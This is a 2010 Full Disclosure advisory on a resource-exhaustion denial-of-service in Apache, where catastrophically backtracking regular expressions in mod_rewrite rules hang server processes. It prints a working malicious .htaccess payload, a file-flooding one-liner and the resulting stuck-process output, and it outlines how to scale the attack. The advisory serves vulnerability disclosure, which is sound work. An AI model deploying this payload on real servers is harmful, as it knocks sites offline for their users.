Full Disclosure mailing list archives

Apache Insecure mod_rewrite PCRE Resource Exhaustion


From: Maksymilian Arciemowicz <cxib () securityreason com>
Date: Tue, 21 Dec 2010 00:42:14 +0100

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ Apache Insecure mod_rewrite PCRE Resource Exhaustion ]

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 19.09.2010
- - Pub.: 21.12.2010

Affected (tested):
- - NetBSD 5.0.2 (Apache 2.2.17 PHP 5.3.4)
- - Ubuntu 10.10 (Apache 2.2.16 PHP 5.3.3)

Original URL:
http://securityreason.com/achievement_securityalert/92


- --- 0.Description ---
The Apache HTTP Server, commonly referred to as Apache, is web server
software notable for playing a key role in the initial growth of the
World Wide Web. In 2009 it became the first web server software to
surpass the 100 million web site milestone

The PCRE(Perl Compatible Regular Expressions) library is a set of
functions that implement regular expression pattern matching using the
same syntax and semantics as Perl 5. PCRE has its own native API, as
well as a set of wrapper functions that correspond to the POSIX regular
expression API. The PCRE library is free, even for building proprietary
software.


- --- 1. Apache Insecure mod_rewrite PCRE Resource Exhaustion ---
Using mod_rewrite and PCRE libs can be dangerous for stability apache
server.  Everybody know that using pcre regular expressions generate
possible risk of DoS attack , and using multiple regular expressions in
.htaccess is not good idea.
I will show possibility DoS attack using .htaccess. Off course we can
try configure our machine to be safe, anyway many servers are affected
for this.

Many versions of regular expressions, has no control over what executes.
Example tags:

let's see what will happen in firefox for this expression:

.*.*.*(\w+)$1

Nothing special.

Try this:

.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*(\w+)$1

result in Firefox javascirpt:
"Warning: Unresponsive script"

Long execution in pcre generate "Unresponsive script". That same
algorithm we can use in .htaccess

$ httpd -v && php -v
Server version: Apache/2.2.17 (Unix)
Server built:   Nov 11 2010 19:51:37
PHP 5.3.4 (cli) (built: Nov 11 2010 17:17:35)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
$ pwd && ls -la
/home/cx/public_html
total 4
drwxrwxrwx   2 cx  cx      512 Dec 19 01:10 .
drwxr-xr-x  12 cx  wheel  1024 Dec 19 01:10 ..
$ vi poc.php
$ ls -la .
total 8
drwxrwxrwx   2 cx  cx      512 Dec 19 01:16 .
drwxr-xr-x  12 cx  wheel  1024 Dec 19 01:10 ..
- -rw-r--r--   1 cx  cx     2665 Dec 19 01:18 poc.php


and remote request to poc.php
cx@cx64:~$ curl http://172.16.124.128/~cx/poc.php

on the server, any apache childs will stop in .htaccess (mod_rewrite =>
PCRE)

# ps -aux -U www
USER PID %CPU %MEM   VSZ   RSS TTY STAT STARTED    TIME COMMAND
www  503 13.8  2.4 35620 27420 ?   R     1:19AM 0:04.94
/usr/pkg/sbin/httpd -k start
www  414  9.6  2.3 33572 25400 ?   R     1:20AM 0:03.24
/usr/pkg/sbin/httpd -k start
www  474  7.9  2.2 32548 24544 ?   R     1:19AM 0:02.17
/usr/pkg/sbin/httpd -k start
www  345  6.5  2.1 31524 23888 ?   R     1:19AM 0:01.79
/usr/pkg/sbin/httpd -k start
www  482  7.0  1.9 29476 21536 ?   R     1:22AM 0:00.94
/usr/pkg/sbin/httpd -k start
www  495  4.6  2.0 30500 22944 ?   R     1:19AM 0:01.24
/usr/pkg/sbin/httpd -k start
www  844  3.2  0.5 11980  5280 ?   S     1:22AM 0:00.94
/usr/pkg/libexec/cgi-bin/php
www  289  2.2  1.0 19236 10888 ?   R     1:22AM 0:00.23
/usr/pkg/sbin/httpd -k start
www  859  3.2  1.5 25380 17220 ?   R     1:22AM 0:00.44
/usr/pkg/sbin/httpd -k start
www  337  0.0  0.3 12068  3152 ?   S     1:22AM 0:00.01
/usr/pkg/sbin/httpd -k start
www  502  0.0  0.3 11988  3252 ?   S     1:19AM 0:00.01
/usr/pkg/sbin/httpd -k start
www  543  0.0  0.3 12068  3152 ?   S     1:22AM 0:00.01
/usr/pkg/sbin/httpd -k start
www  554  0.0  0.3 12068  3152 ?   S     1:22AM 0:00.01
/usr/pkg/sbin/httpd -k start
www  754  0.0  0.4 12068  3940 ?   S     1:19AM 0:00.01
/usr/pkg/sbin/httpd -k start
www  955  0.0  0.3 12068  3152 ?   S     1:22AM 0:00.01
/usr/pkg/sbin/httpd -k start
www  979  0.0  0.3 12068  3152 ?   S     1:22AM 0:00.01
/usr/pkg/sbin/httpd -k start
# ps -aux -U www
USER  PID %CPU %MEM   VSZ   RSS TTY STAT STARTED    TIME COMMAND
www   389  4.0  1.9 29476 21360 ?   R     1:22AM 0:00.80
/usr/pkg/sbin/httpd -k start
www   455  4.3  1.8 28452 20080 ?   R     1:22AM 0:00.55
/usr/pkg/sbin/httpd -k start
www   712  4.9  1.8 27428 19688 ?   R     1:22AM 0:00.51
/usr/pkg/sbin/httpd -k start
www   516  3.8  2.1 31524 23632 ?   R     1:22AM 0:02.05
/usr/pkg/sbin/httpd -k start
...
www  1011  2.3  2.0 30500 21980 ?   R     1:22AM 0:01.16
/usr/pkg/sbin/httpd -k start
www   398  0.0  0.3 12068  3156 ?   S     1:23AM 0:00.01
/usr/pkg/sbin/httpd -k start
www   400  0.0  0.3 12068  3156 ?   S     1:23AM 0:00.01
/usr/pkg/sbin/httpd -k start
www   502  0.0  0.3 11988  3252 ?   I     1:19AM 0:00.01
/usr/pkg/sbin/httpd -k start
www   653  0.0  0.3 12068  3156 ?   S     1:23AM 0:00.01
/usr/pkg/sbin/httpd -k start
www   754  0.0  0.4 12068  3940 ?   I     1:19AM 0:00.01
/usr/pkg/sbin/httpd -k start
www   844  0.0  0.5 11980  5280 ?   S     1:22AM 0:00.95
/usr/pkg/libexec/cgi-bin/php
www   908  0.0  0.3 12068  3156 ?   S     1:23AM 0:00.01
/usr/pkg/sbin/httpd -k start
www  1043  0.0  0.3 12068  3160 ?   S     1:23AM 0:00.01
/usr/pkg/sbin/httpd -k start

If we set

Timeout 3
MaxKeepAliveRequests 5
KeepAliveTimeout 5
MaxClients          7

# ps -aux -Uwww
USER PID %CPU %MEM   VSZ   RSS TTY STAT STARTED    TIME COMMAND
www  322 15.7  3.1 42788 34296 ?   R     2:10AM 5:43.96
/usr/pkg/sbin/httpd -k start
www  565 15.8  3.1 42788 34296 ?   R     2:10AM 5:43.24
/usr/pkg/sbin/httpd -k start
www  504 14.6  3.1 42788 34296 ?   R     2:10AM 5:51.36
/usr/pkg/sbin/httpd -k start
www  598 14.7  3.1 42788 34296 ?   R     2:10AM 5:38.71
/usr/pkg/sbin/httpd -k start
www  690 14.6  3.1 42788 34296 ?   R     2:10AM 5:43.85
/usr/pkg/sbin/httpd -k start
www  694 15.1  3.1 42788 34296 ?   R     2:10AM 5:43.57
/usr/pkg/sbin/httpd -k start
www  603  0.0  0.3 11988  3228 ?   I     2:10AM 0:00.01
/usr/pkg/sbin/httpd -k start
www  623  0.0  0.5 11980  5304 ?   S     2:10AM 0:00.29
/usr/pkg/libexec/cgi-bin/php
www  631  0.0  0.3 12068  3880 ?   I     2:10AM 0:00.01
/usr/pkg/sbin/httpd -k start
# telnet 172.16.124.128 80
Trying 172.16.124.128...
telnet: Unable to connect to remote host: Connection timed out

Extending this error, we may block the work of apache daemon with
mod_rewrite.

- -.htaccess---
RewriteEngine On
RewriteRule
((?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\
w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+))
/$1
- -.htaccess---

cx@cx64:/www/czarnadupa$ ls -la
total 12
drwxr-xr-x 2 cx cx   4096 2010-10-25 00:06 .
drwxr-xr-x 6 cx root 4096 2010-10-25 00:04 ..
- -rw-r--r-- 1 cx cx   1252 2010-10-25 00:06 .htaccess
cx@cx64:/www/czarnadupa$ cat .htaccess
RewriteEngine On
RewriteRule
((?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\
w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+))
/$1

from another console, let's try connect via curl

cx@cx64:~$ curl http://127.0.0.1/czarnadupa/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /czarnadupa</title>
..

we get result after 3.35sec delay. If we use multiple time RewriteRule,
we can lengthen to 6,9,12,.. sec.

Let's back to first terminal and create 1000 files

cx@cx64:/www/czarnadupa$ php -r
'for($a=0;$a<1000;$a++){$f=fopen("test".$a,"a");fclose($f);}'
cx@cx64:/www/czarnadupa$ ls
test0    test210  test323  test436  test549  test661  test774  test887
test1    test211  test324  test437  test55   test662  test775  test888
test10   test212  test325  test438  test550  test663  test776  test889
...

and now try to connect via curl. For One RewriteRule in .htaccess, it
will be more as 3 min.

www-data 11177 31.2  0.2 177888  6520 ?        R    00:06   3:25
/usr/sbin/apache2 -k start

3.25min and CPU 100%

and in end with 7min delay! If we use two times RewriteRule in
.htaccess, that will be ~14min

www-data 11180 45.8  0.2 177888  6520 ?        R    00:06  14:01
/usr/sbin/apache2 -k start
www-data 11180 45.8  0.2 177888  6804 ?        S    00:06  14:03
/usr/sbin/apache2 -k start

exacly 14:01 min.

Now is comming question "What will happen, when we create .htaccess with
many RewriteRule?"
The answer is simple and you can calculate it yourself. But if we will
more that 7min for one RewriteRule, we need create more files in
attacked directory or modify regular expression.
for 2 files, it was 3 sec, for 1002 files, it was 7min.
If we increased complexity of RewriteRule value, apache child will
execute in a longer time.

The main problem is that the any processes is working 100% CPU usage. So
what will happen when we disconnect and connect again?

Now think what happens when we create the 2,000 files and a thousand
RewriteRule Rules. Then create loop what connect<->disconnect with apache.

Now let's see to docs from apache22

http://httpd.apache.org/docs/current/mod/core.html#rlimitmem

- ---
This applies to processes forked off from Apache children servicing
requests, not the Apache children themselves. This includes CGI scripts
and SSI exec commands, but not any processes forked off from the Apache
parent such as piped logs.
- ---

So rlimitmem don't protect us before memory exhaustion. Only variables
from lgoin.conf or pam, protect our apache server before reaching memory
or processes limits. But if one apache child can contain example ~256MB
memory, we can use SetEnv in .htaccess to allocate data into memory.

Logs:
 4613 www-data  20   0  298m 130m  944 R   64  4.3   0:03.20 apache2

 4614 www-data  20   0  295m 127m  944 R   42  4.2   0:02.11 apache2

 4615 www-data  20   0  280m 113m  944 R   25  3.7   0:01.24 apache2

or when httpd will reach MaxClient

www-data  1620  9.2  4.8 563252 148340 ?       R    12:26   5:08
/usr/sbin/apache2 -k start
www-data  1621  9.4  4.7 564064 145976 ?       R    12:26   5:13
/usr/sbin/apache2 -k start
www-data  1622  9.2  4.6 563252 144484 ?       R    12:26   5:07
/usr/sbin/apache2 -k start
www-data  1623  9.2  4.7 563524 147264 ?       R    12:26   5:09
/usr/sbin/apache2 -k start
www-data  2361  9.6  4.5 563524 139140 ?       R    12:28   5:11
/usr/sbin/apache2 -k start
www-data  2362  9.6  4.4 563388 137856 ?       R    12:28   5:10
/usr/sbin/apache2 -k start
www-data  2363  9.5  4.4 562980 136792 ?       R    12:28   5:07
/usr/sbin/apache2 -k start
www-data  2365  9.5  4.1 562980 129048 ?       R    12:28   5:06
/usr/sbin/apache2 -k start
www-data  2366  9.5  3.8 562844 120308 ?       R    12:28   5:06
/usr/sbin/apache2 -k start
www-data  2367  9.5  3.8 562980 119300 ?       R    12:28   5:07
/usr/sbin/apache2 -k start
www-data  2368  9.6  3.7 563116 117176 ?       R    12:28   5:09
/usr/sbin/apache2 -k start
www-data  2369  9.6  3.7 563116 114492 ?       R    12:28   5:09
/usr/sbin/apache2 -k start
www-data  2370  9.5  3.4 562708 107224 ?       R    12:28   5:05
/usr/sbin/apache2 -k start
www-data  2372  9.5  3.7 562708 116324 ?       R    12:28   5:06
/usr/sbin/apache2 -k start
www-data  2373  9.5  4.0 562844 125068 ?       R    12:28   5:06
/usr/sbin/apache2 -k start
www-data  2374  9.6  3.5 563116 110868 ?       R    12:28   5:09
/usr/sbin/apache2 -k start
www-data  2375  9.6  4.1 562980 128492 ?       R    12:28   5:08
/usr/sbin/apache2 -k start
www-data  2377  9.6  4.4 562980 135968 ?       R    12:28   5:08
/usr/sbin/apache2 -k start
www-data  2378  9.6  4.7 562980 145420 ?       D    12:28   5:08
/usr/sbin/apache2 -k start
...

any apache children will generate 100% CPU usage.
For example one apache child with 193 min running time.

3127 94.4  9.3 645716 289020 ?       R    13:23 193:50 /usr/sbin/apache2
- -k start


- --- 2. Exploit ---
Remove .htaccess before running this script from www or simple use
command line

PoC used in description.
http://cxib.net/stuff/rewrite.pcre.txt


- --- 3. Greets ---
sp3x, Infospec


- --- 4. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]

Email:
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://cxib.net/

- -- 
Best Regards
pub   4096R/D6E5B530 2010-09-19
uid                  Maksymilian Arciemowicz (cx) <max () cxib net>
sub   4096R/58BA663C 2010-09-19
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJND+nUAAoJEIO8+dzW5bUwNWQP/RsGUPKgpTiffVVATX4XNU6e
sTCCnJTxxQbjceRdiIClXEKfXrGfzrnaAIBst3d6kttCUJNuQIXSVBkhELwr41Zb
nAqscsbJHkfmBmlOnJH8RnhUveWrWoMRVpeW0gy49q1gBobvkq3IeYxH2bhNFvdO
Hfzn/HQ7YPc/RQKnO/61QLxnPOXlHnGBkSca79TWGfd4RXpRDd8Jj8mLSFZNjQX1
teG/kY6Q5fHleSKIGSuiFpEhY71WyTfqfK40y5KSjBA3kKXrYdowxIk9Ya1RxHmq
oT1mImSdop0Kq+vXY+wdlN2vTvvOabfu0PoazqpsR3dYvrKxcnsHFuZRo2u8T372
qeRKb3g9m9bPPXrjCO7lGUmCl3yS39lF9d21k+jJwhorcjVQyOi7QxKIXkQarC/w
ZAg5ZjT0/ZwGWhWSLWqs1XcjgNljcfGgIwIxVOzZQs2KzUwouQV7gNykDzyDEjJx
JQECB76b//fvMJ155d9Liw+Xgrlntd0hEgnr2xUcagT4nuDumTLR0Pj2Aa3om4oA
OHNDk7SOlIUELI8OIVdXvL+UKiIXD6de29rCdgh+pXcaT0r+1Z1D1FcrK8ESNz0E
y1C/xIWEvyIMJPcleVHgvA31go4XaSYT4A6GiOzS7n6oS1jSZ2wN8oN1NspwY+aL
z+GjC/fhyFvheNlz5YXt
=ZUzZ
-----END PGP SIGNATURE-----

Attachment: 0xD6E5B530.asc
Description:

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread: